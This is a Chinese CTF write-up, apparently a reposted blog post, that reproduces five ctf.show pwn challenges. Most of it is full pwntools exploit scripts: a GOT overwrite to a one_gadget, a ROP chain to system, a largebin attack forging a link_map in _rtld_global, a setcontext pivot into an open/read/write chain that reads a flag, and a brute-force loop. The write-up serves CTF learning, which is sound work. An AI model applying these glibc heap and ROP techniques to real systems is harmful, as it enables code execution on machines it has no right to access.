[ctf.show 元旦水友杯 2024] pwn复现

发布时间:2024年01月16日

只会两个,后边跟着官WP慢慢复现3题

BadBoy

这题还是新比较简单的

有两次泄露机会,第1次6字节,第2次3字节,可以分别泄露栈地址和libc(__libc_start_main_ret)的中3字节(高字节一般是7f,低2字节其中12位固定,只差4位)小爆一下

PIE未开在输入偏移v5的时候,允许负值,这样就能写到got表了,直接整个one就行

from pwn import *

libc = ELF('./libc.so.6')
elf = ELF('./BadBoy-2')
context(arch='amd64', log_level='debug')

#p = process('./BadBoy-2')
p = remote('pwn.challenge.ctf.show', 28201)

#gdb.attach(p, "b*0x400993\nc")
#leak stack
'''
0x00007fffffffde30│+0x0000: 0x18000000004009c0   ← $rsp
0x00007fffffffde38│+0x0008: 0x0000000000000000
0x00007fffffffde40│+0x0010: 0x0067666564636261 ("abcdefg"?)
0x00007fffffffde48│+0x0018: 0x9cc00e4f382f5800
0x00007fffffffde50│+0x0020: 0x00000000004009c0  →  <__libc_csu_init+0> push r15  ← $rbp
0x00007fffffffde58│+0x0028: 0x00007ffff7821c87  →  <__libc_start_main+231> mov edi, eax  ← $rsi
0x00007fffffffde60│+0x0030: 0x0000000000000001
0x00007fffffffde68│+0x0038: 0x00007fffffffdf38  →  0x00007fffffffe28c  →  "/home/kali/ctf/0110/BadBoy-2"
'''
p.sendlineafter(b"i am bad boy \n", b'40')
buf_addr = u64(p.recv(6)+b'\0'*2) -0xf8
print(f"{buf_addr = :x}")

#leak libc
p.sendlineafter(b"i am bad boy \n", str(24+2).encode())
libc.address = u64(b'\x87\x1c'+p.recv(3)+b'\x7f\x00\x00') - 231 - libc.sym['__libc_start_main']  #1/16
print(f"{libc.address = :x}")

one = [0x4f2a5, 0x4f302, 0x10a2fc]

#got.puts->one
p.sendafter(b"because i'm not girl ", b'xxx')
p.sendlineafter(b"so can you fell me? ", str(elf.got['puts'] - buf_addr).encode())
p.sendafter(b"HaHaHa ", p64(libc.address + one[2])[:3])

p.interactive()

?s.s.a.l

这个也很简单,先作个小的爆破求一个随机数让它在bss里生成/bin/sh,然后有个栈溢出用01 5d 3c这个gadget

from ctypes import *

clibc = cdll.LoadLibrary('./libc.so.6')

for i in range(0x100000000):
    clibc.srand(i)
    r = [clibc.rand()%6 for i in range(7)]
    if r == [1,5,3,4,1,2,0]:
        print(i, r)
        break
#38856 [1, 5, 3, 4, 1, 2, 0]

然后是个简单的栈溢出题,由于尾部给了rbx,rbp可以直接用gadget修改srand的got表为system

from pwn import *

libc = ELF('./libc.so.6')
elf = ELF('./s.s.a.l')
context(arch='amd64', log_level='debug')

#p = process('./s.s.a.l')
p = remote('pwn.challenge.ctf.show', 28237)

pop_rdi = 0x400832
sym_d = 0x601090
add_dword_rbp_0x3d_ebx_ret = 0x00400738  # 0: 01 5d c3  add    DWORD PTR [rbp-0x3d], ebx

p.send(b'\x00'*0x50)
p.sendline(b'38856')

#rsp: 4,v5,v6,v7 ,  x, rbx,                                 rbp,                  ret
pay = b'A'*6 + flat(0, libc.sym['system']-libc.sym['srand'],elf.got['srand']+0x3d,add_dword_rbp_0x3d_ebx_ret ,pop_rdi, sym_d, elf.plt['srand'])
p.send(pay)

p.interactive()

?Happy_New_Year

后边这两个题就不会了,看了WP,原来是调用了link_map结构,这个原来好像没用过,没印象.特意复现一下.(两题是一样的,但使用的libc不一样,前边给了2.27,好像后边一个要用2.31这个不用吐嘈了反正就这样)

标准的堆题在free有UAF,但是add里有两项卡点,一个是calloc建块,这样tcache的攻击就用不了了,只能用fastbin,largebin这种,另一个是块最小0x80这样,fastbin的错位也找不着,刚开始一直找错位后来看WP原来是用的largebinAttack

原来用过exit_hook这们位于_rtld_global+0xf00处,但这个显然无法写这个位置

思路其实挺简单,用largebinAttack将chunk[2]的地址写到rtld_global,这里是个link_map结构的指针,这样一个fake_link_map就指向了chunk[2],这样把one写上就OK了

from pwn import *

libc = ELF('./libc.so.6')
context(arch='amd64', log_level='debug')

menu = b'\xc2\xa5'*6
def add(idx, size=0xf8):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"index:\n", str(idx).encode())
    p.sendlineafter(b"Size:\n", str(size).encode())

def show(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"index:\n", str(idx).encode())
    p.recvuntil(b"context: \n")

def edit(idx, msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"index:\n", str(idx).encode())
    p.sendafter(b"context: \n", msg)

def free(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"index:\n", str(idx).encode())

#p = process('./pwn03')
p = remote('pwn.challenge.ctf.show', 28109)

add(0, 0x428)
add(1, 0x500)
add(2, 0x418)

free(0)
add(3, 0x500) #0 unsort->largebin
show(0)
large_430 = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = large_430 - 0x3ec090
edit(0, b'A'*0x10)
show(0)
p.recv(0x10)
heap_self = u64(p.recv(6).ljust(8, b'\x00'))
heap_base = heap_self - 0x250
print(f"{libc_base =:x} {heap_self =:x}")
'''
gef?  x/4gx 0x555555a01260
0x555555a01260: 0x00007ffff7bec090      0x00007ffff7bec090
0x555555a01270: 0x0000555555a01250      0x0000555555a01250
gef?  x/4gx &_rtld_global
0x7ffff7e2a060 <_rtld_global>:  0x00007ffff7e2b170      0x0000000000000004
0x7ffff7e2a070 <_rtld_global+16>:       0x00007ffff7e2b428      0x0000000000000000
0x7ffff7e2a080 <_rtld_global+32>:       0x0000000000000000 
'''
ld_remote_off = 0xf000
rtld_global = libc_base + 0x62a060 - ld_remote_off #+ 0x61b060 #local 0x62a060
free(2)
edit(0, flat(large_430,large_430, heap_self, rtld_global-0x20))
add(4, 0x500)
'''
gef?  x/8gx &_rtld_global
0x7ffff7e2a060 <_rtld_global>:  0x0000555555a01780  <--chunk[2]     0x0000000000000004
0x7ffff7e2a070 <_rtld_global+16>:       0x00007ffff7e2b428      0x0000000000000000
'''
#one = libc_base + 0x4f2a5 #rsp & 0xf == 0  rcx == NULL
one = libc_base + 0x4f302 #[rsp+0x40] == NULL
#one = libc_base + 0x10a2fc #[rsp+0x70] == NULL
chunk_base = heap_base +0xb90 
link_map=p64(0)*1
link_map+=p64(libc_base+0x62b710 - ld_remote_off) #61c710
link_map+=p64(0)
link_map+=p64(chunk_base)
link_map+=p64(0)*28 
link_map+=p64(chunk_base + 0x110)
link_map+=p64(chunk_base + 0x110+0x20)
link_map+=p64(chunk_base + 0x110+0x10)
link_map+=p64(8)
link_map+=p64(one)
link_map+=p64(heap_base+0xb90)
link_map+=p64(0)*58
link_map+=p64(0x800000000)
edit(2, link_map)
'''
gef?  x/200gx 0x555555a01790
0x555555a01ba0: 0x0000000000000000      0x00007ffff7e1c710
0x555555a01bb0: 0x0000000000000000      0x0000555555a01b90  <--chunk[2]
...28
0x555555a01ca0: 0x0000555555a01ca0      0x0000555555a01cc0  <--self,+20
0x555555a01cb0: 0x0000555555a01cb0      0x0000000000000008  <--self
0x555555a01cc0: 0x00007ffff784f302 <--one     0x0000555555a01b90 <--chunk[2]
...58
0x555555a01ea0: 0x0000000800000000      0x0000000000000000
'''
p.sendlineafter(menu, b'5')
#gdb.attach(p)
#pause()

p.interactive()

这里也需要一个小爆破,虽然同一版本的libc加载的libc位置与ld位置偏移固定,但在不同环境下这个值不同,一般docker上的会小,不过这个差不会太大,经过爆破本地与远程差0xf页

写官Wp都是些大牛,他们以为很简单的事,其实慢慢理解需要很长时间,只能一点点试.特别是只写一个数字的情况下,这个数字什么意思又得慢慢找,毕竟自己的环境与远程环境还有官WP的环境还是有差别的.

Heap_Harmony_Festivity

?这题没给libc这个如果不看WP作出来似乎有点难,因为hook这东西一般放在可写区里与代码需要分页的,所以在同一个大版本下基本是相同的,但是要想得到准确的libc就比较困难了,你不可能爆破到所有版本.而且这个2.31-0u9也不是很常见,而且题目并没有对exec的限制,但似乎真要用.

在link_map里调用一个set_context+0x3d填充寄存器,然后调用read,再由read读入后续的PAYLOAD执行orw

复现的时候尽量去掉了官WP里的直接加的数字,并在注释里写了代码的意义.以备后用吧.

from pwn import *

libc = ELF('./libc-2.31.so') #GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9) stable release version 2.31.
context(arch='amd64', log_level='debug')

menu = b'\xc2\xa5'*6
def add(idx, size=0xf8):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"index:\n", str(idx).encode())
    p.sendlineafter(b"Size:\n", str(size).encode())

def show(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"index:\n", str(idx).encode())
    p.recvuntil(b"context: \n")

def edit(idx, msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"index:\n", str(idx).encode())
    p.sendafter(b"context: \n", msg)

def free(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"index:\n", str(idx).encode())

p = process('./pwn04')
#p = remote('pwn.challenge.ctf.show', 28109)

add(0, 0x428)
add(1, 0x500)
add(2, 0x418)

free(0)
#show(0)
add(3, 0x500) #0 unsort->largebin
'''
0x7ffff7fc0fe0: 0x0000555555a01290      0x0000555555a01290  largebin

0x555555a012a0: 0x00007ffff7fc0fd0      0x00007ffff7fc0fd0
0x555555a012b0: 0x0000555555a01290      0x0000555555a01290 -> heap_self -> rtld_global - 0x20
'''
show(0)
large_430 = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = large_430 - 0x430 - 0x30 - libc.sym['__malloc_hook']

edit(0, b'A'*0x10)
show(0)
p.recv(0x10)
heap_self = u64(p.recv(6).ljust(8, b'\x00'))
heap_base = heap_self - 0x290

ld_remote_off = 0
#ld_remote_off = 0x6000
rtld_global = libc_base + 0x228060 - ld_remote_off 
print(f"{libc_base =:x} {large_430 =:x} {rtld_global =:x} {heap_self =:x}")

free(2)
edit(0, flat(large_430,large_430, heap_self, rtld_global-0x20))
add(4, 0x500)
'''
0x7ffff7ffd060 <_rtld_global>:  0x00007ffff7ffe190      0x0000000000000004
0x7ffff7ffd060 <_rtld_global>:  0x0000555555a01bd0 -> chunk2
'''

libc.address = libc_base
one = libc_base + 0x4f302 #[rsp+0x40] == NULL
pop_rdi = libc_base+0x26b72
pop_rsi = libc_base+0x27529
pop_rdx = libc_base+0x11c1e1 #pop rdx;pop r12;ret
setcontext_3d = libc.sym['setcontext'] + 0x3d
chunk_base = heap_base + 0xbd0

link_map=p64(0)
link_map+=p64(rtld_global+0x16e0)
link_map+=p64(0)
link_map+=p64(chunk_base)
link_map+=p64(0)*28 
link_map+=p64(chunk_base+0x110)
link_map+=p64(chunk_base+0x110+0x20)
link_map+=p64(chunk_base+0x110+0x10)
link_map+=p64(0x20)
link_map+=b"flag\x00\x00\x00\x00"
link_map+=p64(chunk_base)
link_map+=p64(setcontext_3d)
link_map+=p64(pop_rdi+1)  #ret 
link_map+=p64(0)*12
link_map+=p64(0)
link_map+=p64(chunk_base+0x1f8)
link_map+=p64(0)*2
link_map+=p64(0x100)
link_map+=p64(0)*2
link_map+=p64(chunk_base+0x1f8)
link_map+=p64(libc.sym['read'])  #read(0, chunk_base+0x238, 0x100)
link_map+=p64(0)*36
link_map+=p64(0x800000000)

edit(2, link_map)
'''
0x7ffff7ffd060 <_rtld_global>:  0x0000555555a01bd0      0x0000000000000004
0x7ffff7ffd070 <_rtld_global+16>:       0x00007ffff7ffe450      0x0000000000000000

0x555555a01bd0: 0x0000000000000000      0x0000000000000421
0x555555a01be0: 0x0000000000000000      0x00007ffff7ffe740
0x555555a01bf0: 0x0000000000000000      0x0000555555a01bd0 (chunk[2])
...28
0x555555a01ce0: 0x0000555555a01ce0 (self)     0x0000555555a01d00 (flag)
0x555555a01cf0: 0x0000555555a01cf0 (self)     0x0000000000000020
0x555555a01d00: 0x0000000067616c66 ('flag')   0x0000555555a01bd0 (chunk[2])
0x555555a01d10: 0x00007ffff7e2d0dd (setcontext+0x3d)  0x00007ffff7dfbb73 (ret)
...12
0x555555a01d80: 0x0000000000000000 (+68 rdi)  0x0000555555a01dc8 (+70 rsi read后移栈)
0x555555a01d90: 0x0000000000000000            0x0000000000000000
0x555555a01da0: 0x0000000000000100 (+88 rdx)  0x0000000000000000
0x555555a01db0: 0x0000000000000000            0x0000555555a01dc8 (+A0 rsp)
0x555555a01dc0: 0x00007ffff7ee5fa0 (read)     0x0000000000000000 <-- orw_payload读到这里,rsp也移到这里执行
...36
0x555555a01ee0: 0x0000000000000000      0x0000000800000000
'''
'''
#setcontext
.text:00000000000580A0   ; __int64 __fastcall setcontext(__int64)
.text:00000000000580A0   public setcontext ; weak

.text:00000000000580DD mov     rsp, [rdx+0A0h]
.text:00000000000580E4 mov     rbx, [rdx+80h]
.text:00000000000580EB mov     rbp, [rdx+78h]
.text:00000000000580EF mov     r12, [rdx+48h]
.text:00000000000580F3 mov     r13, [rdx+50h]
.text:00000000000580F7 mov     r14, [rdx+58h]
.text:00000000000580FB mov     r15, [rdx+60h]
.text:00000000000580FF test    dword ptr fs:48h, 2
.text:000000000005810B jz      loc_581C6

.text:00000000000581C6 mov     rcx, [rdx+0A8h]
.text:00000000000581CD push    rcx
.text:00000000000581CE mov     rsi, [rdx+70h]
.text:00000000000581D2 mov     rdi, [rdx+68h]
.text:00000000000581D6 mov     rcx, [rdx+98h]
.text:00000000000581DD mov     r8, [rdx+28h]
.text:00000000000581E1 mov     r9, [rdx+30h]
.text:00000000000581E5 mov     rdx, [rdx+88h]
.text:00000000000581EC xor     eax, eax
.text:00000000000581EE retn
'''
#gdb.attach(p)
#pause()

p.sendlineafter(menu, b'5')

#orw
flag_addr = chunk_base+0x130
orw = flat([pop_rdi, flag_addr, pop_rsi,0, libc.sym['open'], 
    pop_rdi, 3, pop_rsi,heap_base+0x2a0,pop_rdx,0x50,0, libc.sym['read'],
    pop_rdi, 1, pop_rsi,heap_base+0x2a0,pop_rdx,0x50,0, libc.sym['write']])

p.send(orw)

p.interactive()

yes_or_no

这题要说难度也没啥,就是一般人不会想到.有一个栈溢出,但是无法找到需要的gadget而已.在官WP里利用一个ld的指针,爆破12位写one,成功率1/4096一般人想不要这种情况.不会爆破这么大.用官WP也没爆也,放弃了.

当写溢出后再调回原函数rsp会+8这样下去一点点下移在移到ld的地址时写ld地址的后3字节成one当加载地址为xxxx000000里可以成功.

from pwn import *

context(arch='amd64', log_level='error')

pop_r12 = 0x401176
pop_r15 = 0x401179
call_yes = 0x401150
#libc.address = ......000000
pay = flat(0,0,0,0,0,pop_r12,0,call_yes) + flat(0,0,0,0,0,pop_r15,0,call_yes)*6 + b'\x00'*0x28 + b'\x2e\x3b\x0e'
i=0
while True:
    p = process('./pwn05')
    #p = remote('pwn.challenge.ctf.show', 28201)
    
    #gdb.attach(p, "b*0x401173\nc")
    print(i)
    i+=1
    p.send(pay)
    sleep(0.2)
    try:
        p.sendline(b'echo ok')
        if b'ok' in p.recv():
            context.log_level = 'debug'
            #p.sendline(b'cat /flag')
            p.interactive()
    except KeyboardInterrupt:
        break
    except:
        p.close()
        

'''
0x00007fffffffde20│+0x0000: 0x4141414141414141   ← $rsp, $rsi
0x00007fffffffde28│+0x0008: 0x00007ffff7e1be0a  →   add BYTE PTR [rax], al
0x00007fffffffde30│+0x0010: 0x0000000000000000
0x00007fffffffde38│+0x0018: 0x0000000000000000
0x00007fffffffde40│+0x0020: 0x00007fffffffde50  →  0x0000000000000000    ← $rbp, $r15
0x00007fffffffde48│+0x0028: 0x000000000040113e  →  <main+24> nop 
0x00007fffffffde50│+0x0030: 0x0000000000000000
...
0x00007fffffffdef0│+0x00d0: 0x00007ffff7ffe190  →  0x0000000000000000
'''

一直想有没有更好的办法,以后慢慢想吧?

文章来源:https://blog.csdn.net/weixin_52640415/article/details/135628649
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。